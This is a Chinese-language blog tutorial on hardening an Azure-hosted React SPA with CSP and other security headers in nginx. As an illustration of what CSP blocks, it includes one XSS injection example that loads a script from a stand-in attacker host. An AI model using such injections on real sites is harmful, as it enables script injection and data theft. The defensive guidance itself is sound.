在 Azure 環境中為 SPA 加上 Content Security Policy(CSP)

適用情境:React / Vite 前端 + 任意後端 + Azure Container Apps + nginx 反向代理


一、什麼是 CSP?

Content Security Policy(CSP)是一組 HTTP 回應標頭,讓瀏覽器知道「這個頁面可以載入哪些來源的資源」。它是防禦 Cross-Site Scripting(XSS)與資料注入攻擊的第二道防線。

一旦瀏覽器收到 CSP,即使攻擊者成功注入惡意 <script>,瀏覽器也會拒絕執行——因為注入的腳本不符合 CSP 白名單。

CSP 補足了什麼?

[沒有 CSP]
攻擊者注入 <script src="https://evil.com/steal.js"> → 瀏覽器直接執行 ✗

[有 CSP: script-src 'self']
攻擊者注入 <script src="https://evil.com/steal.js"> → 瀏覽器拒絕執行 ✓

二、Azure 環境的架構選擇

在 Azure 上,安全標頭可以加在三個層次:

Internet
   │
   ▼
Azure Application Gateway (WAF)
   │  ← 可在此加 HTTP Response Header Rewrite Rules
   ▼
Azure Container Apps (nginx)
   │  ← 可在此加 add_header
   ▼
Go 後端 (middleware)
   │  ← 可在此加 w.Header().Set(...)

各層優缺比較

層次優點缺點
Application Gateway集中管理,不用動 code需手動設定 Rewrite Rules,費用較高;Header Rewrite 為付費功能(WAF_v2 SKU)
nginx(Container 內)Infrastructure as Code,版控於 Dockerfile/config需要 redeploy container
Go middleware程式碼層級,可針對路由控制業務邏輯與安全邏輯混用;API 不需 CSP

建議

對 SPA 網站來說,nginx 是最合適的地方,原因:

  1. SPA 的安全標頭只需要加在 HTML 頁面回應,不需要加在 API 回應
  2. nginx 已作為 SPA 的靜態資源伺服器,天然邊界清晰
  3. 設定檔進版控,可 review、可追蹤

如果日後 Application Gateway 有設定 Header Rewrite,要記得移除 nginx 這邊的設定,避免同一個 header 重複出現(瀏覽器會套用第一個,但會造成混淆)。


三、為 React + Vite SPA 設計 CSP

分析資源來源

在設計 CSP 之前,先盤點頁面實際載入的所有資源:

資源類型來源指令
JavaScriptself-hosted(Vite 打包)script-src 'self'
CSSself-hosted(PostCSS 打包)style-src 'self'
字型self-hosted(@fontsource-variable/geist)font-src 'self'
圖片self-hosted;少數可能 data URIimg-src 'self' data:
API 呼叫same-origin(nginx proxy 到後端)connect-src 'self'
iframeframe-src 'none'

Mantine UI 的特殊考量

Mantine(React UI library)會透過 MantineProvider 在 DOM 注入一個 <style> 標籤,內容是 CSS 自訂屬性(design token):

<style>
  :root {
    --mantine-color-blue-9: #1971c2;
    --mantine-font-size-md: 1rem;
    /* ... */
  }
</style>

這個 inline <style> 是 Mantine 的執行時行為,無法預先計算 hash(除非用 CSP nonce)。因此 style-src 需要加上 'unsafe-inline'

這樣安全嗎? 相對安全。

  • style-src 'unsafe-inline' 的攻擊面遠小於 script-src 'unsafe-inline'
  • CSS 注入最多能做到 UI 欺騙或 timing attack,無法直接竊取 cookie 或執行任意程式碼
  • 重點是 script-src 'self' 嚴格設定,不允許 inline script 或外部 script

完整 CSP 設計

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  frame-ancestors 'none';
  form-action 'self';
  base-uri 'self';
  object-src 'none'

其他安全標頭

除了 CSP,建議同時加上這些標頭:

Header用途
X-Content-Type-Optionsnosniff防止瀏覽器做 MIME 嗅探(把 HTML 當 JS 執行)
X-Frame-OptionsDENY防 clickjacking(CSP frame-ancestors 的舊瀏覽器 fallback)
Referrer-Policystrict-origin-when-cross-origin跨站請求不洩露完整 URL path
Permissions-Policycamera=(), microphone=(), geolocation=()明確關閉不需要的 browser API

四、nginx.conf.template 實作

在 nginx server block 層級(非個別 location 內)加上 add_header ... always

server {
    listen 80;
    server_name _;

    root /usr/share/nginx/html;
    index index.html;

    # Security headers
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; frame-ancestors 'none'; form-action 'self'; base-uri 'self'; object-src 'none'" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

    # ... 其他設定
}

always 參數:確保即使後端回傳 4xx/5xx,nginx 也會加上這些 headers。沒有 always 的話,錯誤頁面會沒有安全標頭。

要注意的地方

  1. 不要加在 /api/ proxy location 裡:API 回應不需要 CSP,加了反而讓前端 XHR 請求帶著多餘 header。
  2. 避免重複設定:如果 Application Gateway 已設定 Header Rewrite,nginx 這邊要移除,否則 header 會出現兩次(部分瀏覽器行為不一致)。
  3. HTTPS only 部署才需要 HSTSStrict-Transport-Security 只有在全站 HTTPS 時才加;如果有任何 HTTP 存取路徑,HSTS 會造成無法回頭。

五、上線前驗證

本地驗證

部署後使用 curl 確認標頭存在:

curl -I https://your-app.example.com/ | grep -i "content-security\|x-frame\|x-content\|referrer\|permissions"

瀏覽器 DevTools

  1. 開 DevTools → Network → 選 index.html 請求
  2. 查看 Response Headers,確認五個安全標頭都在
  3. 開 Console,確認沒有 CSP violation 錯誤(Refused to load ...

線上掃描工具


六、常見陷阱與排查

問題:Mantine 樣式全部消失

原因style-src 缺少 'unsafe-inline',Mantine 注入的 <style> block 被拒絕。
解法:加上 'unsafe-inline'

問題:Console 出現 Refused to connect to 'http://...'

原因connect-src 'self' 嚴格限制,可能有程式碼直接連外部 API(非透過 nginx proxy)。
解法:找出來源並調整,或暫時在 connect-src 白名單加入該 origin。

問題:OAuth redirect 失敗

原因:OAuth 流程是瀏覽器 window.location.href 跳轉(navigation),不是 form submit 也不是 XHR,CSP 的 form-actionconnect-src 都不管這個。
結論:OAuth redirect 不受 CSP 影響,不需要特別處理。

問題:第三方 SSO(POST 到 /auth/sso/callback)失敗

原因:第三方 SSO 是由外部伺服器 redirect 瀏覽器 POST 到我們的 callback(form submit 跨站)。
確認:這是第三方 SSO 頁面的 form-action,不是我們這邊的 CSP 設定問題。CSP 加在我們頁面的回應,不影響來自其他頁面的 form submit。


七、結論

對於 Azure 上的 React SPA:

  1. 現在就可以加:資源全 self-hosted + 無 inline script,加 CSP 的風險很低
  2. 加在 nginx:比 Application Gateway 更容易維護,可版控,redeploy 即生效
  3. 接受 style-src 'unsafe-inline':這是 Mantine 的現實限制,不影響最重要的 script XSS 防護
  4. 配套加其他標頭X-Content-Type-OptionsX-Frame-OptionsReferrer-PolicyPermissions-Policy 是低成本高效益的防護
  5. 上線後立刻掃描:用 Mozilla Observatory 驗證,確認等級達到 B 或以上

場景:Azure Container Apps 上的 React SPA 安全加固

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *